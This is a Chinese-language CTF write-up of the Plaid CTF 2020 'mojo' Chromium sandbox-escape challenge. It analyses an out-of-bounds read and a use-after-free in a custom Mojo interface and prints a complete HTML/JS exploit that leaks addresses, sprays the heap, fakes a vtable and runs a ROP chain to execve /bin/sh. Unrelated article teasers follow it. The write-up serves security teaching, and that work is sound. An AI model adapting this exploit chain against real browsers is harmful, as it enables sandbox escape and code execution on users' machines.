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文章目录

  • 前置知识
  • 参考文章
  • 环境搭建
    • 题目环境
    • 调试环境
  • 题目分析
    • 附件分析
    • 漏洞分析
      • OOB
      • UAF
  • 漏洞利用
  • 总结

前置知识

Mojo & Services 简介
chromium mojo 快速入门
Mojo docs
Intro to Mojo & Services

  • 译文:利用Mojo IPC的UAF漏洞实现Chrome浏览器沙箱逃逸
  • 原文:Cleanly Escaping the Chrome Sandbox

参考文章

本文主要参考 Plaid CTF 2020 mojo Writeup

环境搭建

题目环境

给了 docker 环境,所以直接启 docker 即可。

安装 docker

sudo snap install docker

运行 run.sh 脚本:

./run.sh

运行 chrome

./chrome --disable-gpu --remote-debugging-port=1338 --enable-blink-features=MojoJS,MojoJSTest url

调试环境

这里单独启一个 web 服务:

python3 -m http.server 8000

调试脚本:

# gdbinit
# 读取符号
file ./chrome
# 设置启动参数
set args --disable-gpu --remote-debugging-port=1338 --user-data-dir=./userdata --enable-blink-features=MojoJS url
# 设置执行fork后继续调试父进程
set follow-fork-mode parent

然后 gdb 调试即可:

gdb -x gdbinit

题目分析

附件分析

题目新定义了一个 PlaidStore 接口:

module blink.mojom;// This interface provides a data store
interface PlaidStore {// Stores data in the data storeStoreData(string key, array<uint8> data);// Gets data from the data storeGetData(string key, uint32 count) => (array<uint8> data);
};

该接口定义了两个方法 StoreDataGetData 分别用于向 data store 中存储数据和获取数据。

然后在浏览器端实现 PlaidStore 接口:

namespace content {class RenderFrameHost;class PlaidStoreImpl : public blink::mojom::PlaidStore {public:explicit PlaidStoreImpl(RenderFrameHost *render_frame_host);static void Create(RenderFrameHost* render_frame_host,mojo::PendingReceiver<blink::mojom::PlaidStore> receiver);~PlaidStoreImpl() override;// PlaidStore overrides:void StoreData(const std::string &key,const std::vector<uint8_t> &data) override;void GetData(const std::string &key,uint32_t count,GetDataCallback callback) override;private:RenderFrameHost* render_frame_host_;std::map<std::string, std::vector<uint8_t> > data_store_;
};}

可以看到这里存在两个私有变量其中一个是 data_store_,这个好理解,其就是用来存储数据的;这里的 render_frame_host_ 是神马东西呢?

render 进程中的每一个 frame 都在 browser 进程中对应一个 RenderFrameHost,很多由浏览器提供的 mojo 接口就是通过 RenderFrameHoset 获取的。在 RenderFrameHost 初始化阶段,会在 BinderMap 中填充所有公开的 mojo 接口:

@@ -660,6 +662,10 @@ void PopulateFrameBinders(RenderFrameHostImpl* host,map->Add<blink::mojom::SerialService>(base::BindRepeating(&RenderFrameHostImpl::BindSerialService, base::Unretained(host)));#endif  // !defined(OS_ANDROID)
+
+  map->Add<blink::mojom::PlaidStore>(
+      base::BindRepeating(&RenderFrameHostImpl::CreatePlaidStore,
+                          base::Unretained(host)));}

当一个 render frame 请求该接口时,在 BinderMap 中关联的回调函数 RenderFrameHostImpl::CreatePlaidStore 就会被调用,其定义如下:

void RenderFrameHostImpl::CreatePlaidStore(mojo::PendingReceiver<blink::mojom::PlaidStore> receiver) {PlaidStoreImpl::Create(this, std::move(receiver));
}

其直接调用了 PlaidStoreImpl::Create 函数:

// static
void PlaidStoreImpl::Create(RenderFrameHost *render_frame_host,mojo::PendingReceiver<blink::mojom::PlaidStore> receiver) {mojo::MakeSelfOwnedReceiver(std::make_unique<PlaidStoreImpl>(render_frame_host),std::move(receiver));
}

通过该函数,一个 PlaidStoreImpl 就被创建,并且该 PendingReceiver 与一个 SelfOwnedReceiver 绑定。

漏洞分析

该题存在两个漏洞,分别是 OOBUAF,接下来直接分别讲解。

OOB

来分析下存取数据的操作:

void PlaidStoreImpl::StoreData(const std::string &key,const std::vector<uint8_t> &data) {if (!render_frame_host_->IsRenderFrameLive()) {return;}data_store_[key] = data;
}void PlaidStoreImpl::GetData(const std::string &key,uint32_t count,GetDataCallback callback) {if (!render_frame_host_->IsRenderFrameLive()) {std::move(callback).Run({});return;}auto it = data_store_.find(key);if (it == data_store_.end()) {std::move(callback).Run({});return;}std::vector<uint8_t> result(it->second.begin(), it->second.begin() + count);std::move(callback).Run(result);
}

可以看到两个操作都会先调用 render_frame_host_->IsRenderFrameLive 去检查 render frame 是否处于 live 状态。然后 StoreData 没啥问题,主要在于 GetData 函数没有对 count 字段做检查,所以这里可以导致越界读。

UAF

这里主要涉及到对象指针生命周期的问题。

在上面我们说过当一个 render frame 请求该接口时,在 BinderMap 中关联的回调函数 RenderFrameHostImpl::CreatePlaidStore 就会被调用,其最后会调用到 PlaidStoreImpl::Create 函数:

void PlaidStoreImpl::Create(RenderFrameHost *render_frame_host,mojo::PendingReceiver<blink::mojom::PlaidStore> receiver) {mojo::MakeSelfOwnedReceiver(std::make_unique<PlaidStoreImpl>(render_frame_host),std::move(receiver));
}

通过该函数,一个 PlaidStoreImpl 就被创建,并且该 PendingReceiver 与一个 SelfOwnedReceiver 绑定,也就是说这里会将消息管道的一段 receiverPlaidStoreImpl 绑定,而这里传入的 render_frame_host 是一个 PlaidStoreImpl 类型的智能指针。

由于这里的绑定,所以当 mojo 管道关闭或发生错误时,PlaidStoreImpl 就会被自动释放,从而使得 PlaidStoreImplreceiver 的生命周期保持一致,这其实是不存在问题的。

而在 PlaidStoreImpl 的构造函数中,存在对 render_frame_host 的赋值操作:

PlaidStoreImpl::PlaidStoreImpl(RenderFrameHost *render_frame_host): render_frame_host_(render_frame_host) {}

可以看到在 PlaidStoreImpl 的构造函数中,将 render_frame_host 赋给了其私有属性 render_frame_host_。那么问题就来了,如果 render_frame_host 对象被析构了(比如删除 iframe),但是 PlaidStoreImpl 还存在(因为 render_frame_host 并没有与 PlaidStoreImpl 绑定),那么在 StoreData/GetData 中调用 render_frame_host_->IsRenderFrameLive() 就会存在 UAF 漏洞。

漏洞利用

整体是思路就比较明确了:

  • 利用 OOB 泄漏相关数据
  • 利用 UAF 劫持程序执行流

前期准备
调用 MojoJS 接口时,请包含以下 JS 文件(这里请根据具体题目路径进行包含):

<script src="mojo/public/js/mojo_bindings.js"></script>
<script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script>

然后进行管道端点绑定:

// 方案一
var ps = blink.mojom.PlaidStore.getRemote(true);
// 方案二
var ps = new blink.mojom.PlaidStorePtr(); // 获取 PlaidStore 实例
var name = blink.mojom.PlaidStore.name; // 获取 InterfaceName
var rq = mojo.makeRequest(ps);
Mojo.bindInterface(name, re.handle, "context", true);

调试分析
OOB 泄漏数据
首先是测试 OOB,主要是看下能够泄漏什么数据:

<html><script src="mojo/public/js/mojo_bindings.js"></script><script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script><script>function hexx(str, v) {console.log("\033[32m[+] " + str + "\033[0m0x" + v.toString(16));}async function pwn() {console.log("PWN");//var ps = blink.mojom.PlaidStore.getRemote(true); // 这种方式断点断不下来???var ps = new blink.mojom.PlaidStorePtr();Mojo.bindInterface(blink.mojom.PlaidStore.name,mojo.makeRequest(ps).handle,"context", true);await(ps.storeData("pwn", new Uint8Array(0x10).fill(0x41)));var leak_data = (await(ps.getData("pwn", 0x20))).data;var u8 = new Uint8Array(leak_data);var u64 = new BigInt64Array(u8.buffer);}pwn();</script>
</html>

将断点打在 PlaidStoreImpl::Create 函数上,主要就是看下 PlaidStoreImpl 申请的空间:
在这里插入图片描述
可以看到这里 PlaidStoreImpl 的空间大小为 0x28,其成员依次往下为 vtablerender_frame_hostdata_store_
在这里插入图片描述
StoreData 执行完后:
在这里插入图片描述
可以看到,这里 PlaidStoreImpldata_store_data_vector 位于同一个段,所以这里可以通过越界读泄漏 PlaidStoreImplvtable 地址,并且还可以泄漏 render_frame_host_ 的地址,然后通过这些地址泄漏其它地址。比如可以通过 vtable 的地址确定 ELF 加载基地址:
在这里插入图片描述
泄漏了 ELF 基地址后,就可以得到很多有用的 gadget 了。

UAF 劫持程序执行流
有了 gadget 后,接下来就是考虑如何劫持 rip,这里的想法就是劫持虚表指针从而劫持程序执行流。

我们知道,每次调用 StoreData/GetData 时,都会先调用 render_frame_host_->IsRenderFrameLive,其是通过虚表指针进行调用的:
在这里插入图片描述
可以看到这里的 rax 就是 render_frame_host_ 的虚表地址,然后 [rax + 0x160] 就是 IsRenderFrameLive 函数的地址。

可以简单验证一下,可以看到当执行 call QWORD PTR[rax+0x160] 时,rax 确实是 render_frame_host_ 的虚表地址:
在这里插入图片描述
那么整个思路就比较清晰了:

  • 构造 render_frame_host_ UAF
  • 堆喷获取 UAF 堆块并伪造 render_frame_host_ 虚表
  • 调用 render_frame_host_->IsRenderFrameLive 控制程序执行流

这里 rax 寄存器的值就是 render_frame_host_ 的虚表地址,而其虚表地址我们是可控的(就在 render_frame_host_ 对象的头 8 字节处),而在 OOB 中我们又可以顺带泄漏 render_frame_host_ 的地址(其就在 PlaidStoreImpl 虚表的下方),所以我们可以利用 xchg rax, rspgadget 劫持栈到 render_frame_host_ 上,并提前在 render_frame_host_ 上布置好 rop chain 即可。

这里借用上述参考文章中佬的一张图:
在这里插入图片描述

在布局 gadget 前还有一个问题:我们该如何在释放 render_frame_host_ 所指向的内存之后,再将这块内存分配回来?这里有个小知识点,chrome 中的内存管理使用的是 TCMalloc 机制。又因为 StoreData 函数分配的vector<uint8_t>render_frame_host_ 使用的是同一个分配器,只要大量分配大小与 RenderFrameHostImpl 相等的vector,就有可能占位成功。

TCMalloc(Thread-Caching Malloc)实现了高效的多线程内存管理,用于替代系统的内存分配相关的函数 TCMalloc解密

所以我们现在得需要知道 RenderFrameHostImpl 的大小。将断点打在其构造函数 RenderFrameHostImpl::RenderFrameHostImpl 上:
在这里插入图片描述
可以看到,在执行构造函数前执行了 RenderFrameFactory::Create 函数,所以其多半就是为 RenderFrameHostImpl 分配空间的函数,重新将断点打在 RenderFrameHostFactory::Create 上:
在这里插入图片描述
所以这里多半就可以确认 RenderFrameHostImpl 的大小为 0xc28

这里照搬上述参考文章,也是比较重要的部分:
当我们创建一个 child iframe 并建立一个 PlaidStoreImpl 实例后。如果我们关闭这个 child iframe,则对应的RenderFrameHost 将会自动关闭;但与此同时,child iframe 所对应的 PlaidStoreImplbrowser 建立的 mojo 管道将会被断开。而该管道一但断开,则 PlaidStoreImpl 实例将会被析构。

因此,我们需要在关闭 child iframe 之前,将管道的 remote 端移交给 parent iframe,使得 child iframePlaidStoreImpl 实例在 iframe 关闭后仍然存活。

回想一下,正常情况下,当关闭一个 iframe 时,RenderFrameHost 将会被析构、mojo 管道将会被关闭。此时 Mojo 管道的关闭一定会带动 PlaidStoreImpl 的析构,这样就可以析构掉所有该析构的对象。

但这里却没有,因为在关闭 child iframe 前,已经将该 iframe 所持有的 Mojo 管道 Remote 端移交出去了,因此在关闭 child iframe 时将不会关闭 Mojo 管道。而 PlaidStoreImpl 的生命周期并没有与 RenderFrameHost 相关联。即 RenderFrameHost 的析构完全不影响 PlaidStoreImpl 实例的生命周期。所以,PlaidStoreImpl 实例将不会被析构。

那么,问题是,该如何移交 Mojo 管道的 remote 端呢?答案是:使用 MojoInterfaceInterceptor。该功能可以拦截来自同一进程中其他 iframeMojo.bindInterface 调用。在 child iframe 被销毁前,我们可以利用该功能将mojo 管道的一端传递给 parent iframe
以下是来自其他 exp 的相关代码,我们可以通过该代码片段来了解 MojoInterfaceInterceptor 的具体使用方式:

var kPwnInterfaceName = "pwn";// runs in the child frame
function sendPtr() {var pipe = Mojo.createMessagePipe();// bind the InstalledAppProvider with the child rfhMojo.bindInterface(blink.mojom.InstalledAppProvider.name,pipe.handle1, "context", true);// pass the endpoint handle to the parent frameMojo.bindInterface(kPwnInterfaceName, pipe.handle0, "process");
}// runs in the parent frame
function getFreedPtr() {return new Promise(function (resolve, reject) {var frame = allocateRFH(window.location.href + "#child"); // designate the child by hash// intercept bindInterface calls for this process to accept the handle from the childlet interceptor = new MojoInterfaceInterceptor(kPwnInterfaceName, "process");interceptor.oninterfacerequest = function(e) {interceptor.stop();// bind and return the remotevar provider_ptr = new blink.mojom.InstalledAppProviderPtr(e.handle);freeRFH(frame);resolve(provider_ptr);}interceptor.start();});
}

现在,我们已经解决了所有潜在的问题,UAF 的利用方式应该是这样的:

  • child iframeMojo 管道的 remote 端移交至 parent iframe,使得 Mojo 管道仍然保持连接
  • 释放 child iframe
  • 多次分配内存,使得分配到原先被释放 RenderFrameHostImpl 的内存区域
  • 写入目标数据
  • 执行 child iframe 对应的 PlaidStoreImpl::GetData 函数

不过需要注意的是,在该题中并不需要将 child iframeMojo 管道一端传递给 parent iframe 的操作。因为通过调试可知,child iframeremove 后,其所对应的 PlaidStoreImpl 实例仍然存在,并没有随着 Mojo pipe 的关闭而被析构

尚未明确具体原因,但这种情况却简化了漏洞利用的方式

最后简化后的利用方式如下:

  • 释放 child iframe
  • 多次分配内存,使得分配到原先被释放 RenderFrameHostImpl 的内存区域
  • 写入目标数据
  • 执行 child iframe 对应的 PlaidStoreImpl::GetData 函数

简单测试一下:

<html>
<head><script src="mojo/public/js/mojo_bindings.js"></script><script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script><script>async function pwn() {var frame = document.createElement("iframe");frame.srcdoc = `<script src="mojo/public/js/mojo_bindings.js"><\/script><script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"><\/script><script>var ps = new blink.mojom.PlaidStorePtr();Mojo.bindInterface(blink.mojom.PlaidStore.name,mojo.makeRequest(ps).handle,"context",true);ps.storeData("pwn", new Uint8Array(0x20).fill(0x41));window.ps = ps;<\/script>`;document.body.appendChild(frame);frame.contentWindow.addEventListener("DOMContentLoaded", async () => {var ps = frame.contentWindow.ps;if(ps == undefined || ps == 0) {throw "FAILED to load iframe";}var raw_buf = new ArrayBuffer(0xc28);var fu8 = new Uint8Array(raw_buf).fill(0);var fu64 = new BigUint64Array(raw_buf);fu64[0] = 0xdeadbeefn;var pps = new blink.mojom.PlaidStorePtr();Mojo.bindInterface(blink.mojom.PlaidStore.name,mojo.makeRequest(pps).handle,"context",true);document.body.removeChild(frame);frame.remove();for (let i = 0; i < 100; i++) {await pps.storeData("pwn" + i, fu8);}await ps.getData("pwn", 0);});}</script>
</head>
<body onload = pwn()></body></html>

效果如下:
在这里插入图片描述
程序在 GetDataCrash,此时的 rax = 0xdeadbeef,符合预期。

最后的 exp 如下:

<html>
<head><script src="mojo/public/js/mojo_bindings.js"></script><script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script><script>function hexx(str, v) {var elem = document.getElementById("#parentLog");if(elem == undefined) {elem = document.createElement("div");document.body.appendChild(elem);}elem.innerText += '[+] ' + str + ': 0x' + v.toString(16) + '\n';}async function pwn() {//var ps = blink.mojom.PlaidStore.getRemote(true);var frame = document.createElement("iframe");frame.srcdoc = `<script src="mojo/public/js/mojo_bindings.js"><\/script><script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"><\/script><script>async function pwn() {var ps_list = [];for (let i = 0; i < 0x200; i++) {let ps = new blink.mojom.PlaidStorePtr();Mojo.bindInterface(blink.mojom.PlaidStore.name,mojo.makeRequest(ps).handle,"context", true);await ps.storeData("pwn", new Uint8Array(0x20).fill(0x41));ps_list.push(ps);}var elf_to_vtable = 0x9fb67a0n;var vtable_addr = -1;var render_frame_host_addr = -1;for (let k = 0; k < 0x200; k++) {let ps = ps_list[k];let leak_data = (await ps.getData("pwn", 0x200)).data;let u8 = new Uint8Array(leak_data);let u64 = new BigInt64Array(u8.buffer);for (let i = 0x20 / 8; i < u64.length - 1; i++) {if ((u64[i] & 0xfffn) == 0x7a0n && (u64[i] & 0xf00000000000n) == 0x500000000000n) {vtable_addr = u64[i];render_frame_host_addr = u64[i+1];break;}if (vtable_addr != -1) {break;}}}if (vtable_addr == -1) {hexx("FAILED to OOB vtable addr", -1);throw "[X] FAILED to OOB vtable addr";}var elf_base = vtable_addr - elf_to_vtable;window.ps = ps_list[0];window.elf_base = elf_base;window.render_frame_host_addr = render_frame_host_addr;}<\/script>`;document.body.appendChild(frame);frame.contentWindow.addEventListener("DOMContentLoaded", async () => {await frame.contentWindow.pwn();var ps = frame.contentWindow.ps;var elf_base = frame.contentWindow.elf_base;var render_frame_host_addr = frame.contentWindow.render_frame_host_addr;if (ps == undefined || ps == 0) {throw "FAILED to load iframe";}var pop_rdi = elf_base + 0x0000000002e4630fn;var pop_rsi = elf_base + 0x0000000002d278d2n;var pop_rdx = elf_base + 0x0000000002e9998en;var pop_rax = elf_base + 0x0000000002e651ddn;var syscall = elf_base + 0x0000000002ef528dn;var xchg_rax_rsp = elf_base + 0x000000000880dee8n; // xchg rax, rsp ; clc ; pop rbp ; rethexx("elf_base", elf_base);hexx("render_frame_host_addr", render_frame_host_addr);hexx("pop_rdi", pop_rdi);hexx("pop_rsi", pop_rsi);hexx("pop_rdx", pop_rdx);hexx("pop_rax", pop_rax);hexx("syscall", syscall);hexx("xchg_rax_rsp", xchg_rax_rsp);const RenderFrameHostSize = 0xc28;var raw_buf = new ArrayBuffer(RenderFrameHostSize);var fu8 = new Uint8Array(raw_buf).fill(0);var fdv = new DataView(raw_buf);var rop = new BigUint64Array(raw_buf, 0x10);fdv.setBigInt64(0, render_frame_host_addr+0x10n, true);fdv.setBigInt64(0x10+0x160, xchg_rax_rsp, true);fdv.setBigInt64(0x10+0x160+0x8, 0x68732f6e69622fn, true);rop[0] = 0xdeadbeefn; // rbprop[1] = pop_rdi;rop[2] = render_frame_host_addr+0x178n;rop[3] = pop_rsi;rop[4] = 0n;rop[5] = pop_rdx;rop[6] = 0n;rop[7] = pop_rax;rop[8] = 59n;rop[9] = syscall;var pps = new blink.mojom.PlaidStorePtr();Mojo.bindInterface(blink.mojom.PlaidStore.name,mojo.makeRequest(pps).handle,"context", true);document.body.removeChild(frame);frame.remove();for (let i = 0; i < 100; i++) {await pps.storeData("pwn"+i, fu8);}await ps.getData("pwn", 0x20);});}</script>
</head>
<body onload = pwn()></body>
</html>

效果如下:
在这里插入图片描述

总结

这个题目算是比较简单的沙箱逃逸了,但是还是搞了两天。主要的问题就是调试,比较奇怪的是如果 exp 中出现了一些错误,程序不会报错。比如我的 exp 最开始在赋值 BigInt 类型的数字时,忘记给 0 后面加上 n,然后 exp 就一直打不通,但是程序也不报错,所以这里发现这个 0n 问题,我就搞了一天…

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Fink CDC数据同步(六)数据入湖Hudi

数据入湖Hudi Apache Hudi(简称&#xff1a;Hudi)使得您能在hadoop兼容的存储之上存储大量数据&#xff0c;同时它还提供两种原语&#xff0c;使得除了经典的批处理之外&#xff0c;还可以在数据湖上进行流处理。这两种原语分别是&#xff1a; Update/Delete记录&#xff1a;H…...

线程和进程的区别及基础线程创建

1 线程和进程的区别 资源分配和调度&#xff1a; 进程&#xff08;火车&#xff09;是操作系统进行资源分配和调度的最小单位。它有自己的独立资源空间&#xff0c;包括内存、文件句柄等。线程&#xff08;车厢&#xff09;是CPU调度的最小单位。一个进程可以包含多个线程&…...

如何使用postman进行接口调试

使用Postman进行接口调试 有些时候我们写代码的时候&#xff0c;会发现接口有报错&#xff0c;提示参数错误&#xff0c;我们为了更好的排查错误原因&#xff0c;可以在Postman上进行接口调试。将url&#xff0c;请求方式&#xff0c;参数&#xff0c;cookie都填写到Postman中…...

Leetcode 198 打家劫舍

题意理解&#xff1a; 你是一个专业的小偷&#xff0c;计划偷窃沿街的房屋。每间房内都藏有一定的现金&#xff0c;影响你偷窃的唯一制约因素就是相邻的房屋装有相互连通的防盗系统&#xff0c;如果两间相邻的房屋在同一晚上被小偷闯入&#xff0c;系统会自动报警。 给定一个代…...

相机图像质量研究(9)常见问题总结:光学结构对成像的影响--工厂镜头组装

系列文章目录 相机图像质量研究(1)Camera成像流程介绍 相机图像质量研究(2)ISP专用平台调优介绍 相机图像质量研究(3)图像质量测试介绍 相机图像质量研究(4)常见问题总结&#xff1a;光学结构对成像的影响--焦距 相机图像质量研究(5)常见问题总结&#xff1a;光学结构对成…...

Linux内核与驱动面试经典“小”问题集锦(5)

接前一篇文章&#xff1a;Linux内核与驱动面试经典“小”问题集锦&#xff08;4&#xff09; 问题6 问&#xff1a;mutex_lock和mutex_lock_interruptible的区别是什么&#xff1f; 备注&#xff1a;此问题也是笔者近期参加蔚来面试时遇到的一个问题。 答&#xff1a; 尽管…...

基于51 单片机的交通灯系统 源码+仿真+ppt

主要内容&#xff1a; 1&#xff09;南北方向的绿灯、东西方向的红灯同时亮40秒。 2&#xff09;南北方向的绿灯灭、黄灯亮5秒&#xff0c;同时东西方向的红灯继续亮。 3&#xff09;南北方向的黄灯灭、左转绿灯亮&#xff0c;持续20秒&#xff0c;同时东西方向的红灯继续…...

【蓝桥杯冲冲冲】[NOIP2017 提高组] 宝藏

蓝桥杯备赛 | 洛谷做题打卡day29 文章目录 蓝桥杯备赛 | 洛谷做题打卡day29[NOIP2017 提高组] 宝藏题目背景题目描述输入格式输出格式样例 #1样例输入 #1样例输出 #1样例 #2样例输入 #2样例输出 #2提示题解代码我的一些话[NOIP2017 提高组] 宝藏 题目背景 NOIP2017 D2T2 题目描…...

C#中实现串口通讯和网口通讯(使用SerialPort和Socket类)

仅作自己学习使用 1 准备部份 串口通讯需要两个调试软件commix和Virtual Serial Port Driver&#xff0c;分别用于监视串口和创造虚拟串口。网口通讯需要一个网口调试助手&#xff0c;网络上有很多资源&#xff0c;我在这里采用的是微软商店中的TCP/UDP网络调试助手&#xff0…...

LeetCode回溯算法的解题思路

回溯法概念 回溯法&#xff1a;一种通过探索所有可能的候选解来找出所有的解的算法。如果候选解被确认不是一个解&#xff08;或者至少不是最后一个解&#xff09;&#xff0c;回溯算法会通过在上一步进行一些变化抛弃该解&#xff0c;即回溯并且再次尝试。 应用场景 回溯算…...

泰克示波器(TBS2000系列)数学运算功能使用

目录 1 数学运算菜单1.1 运算符选择1.2 信源选择1.3 数学运算结果 1 数学运算菜单 Math运算按钮&#xff0c;用于实现对两个通道的信号进行实时的“加、减、乘”运算&#xff0c;计算时信源1在前面&#xff0c;信源2在运算符的右边&#xff0c;设置时设置信源与运算符就行了。…...

数据结构与算法之美学习笔记:50 | 索引:如何在海量数据中快速查找某个数据?

目录 前言为什么需要索引&#xff1f;索引的需求定义构建索引常用的数据结构有哪些&#xff1f;总结引申 前言 本节课程思维导图&#xff1a; 在第 48 节中&#xff0c;我们讲了 MySQL 数据库索引的实现原理。MySQL 底层依赖的是 B 树这种数据结构。留言里有同学问我&#xff…...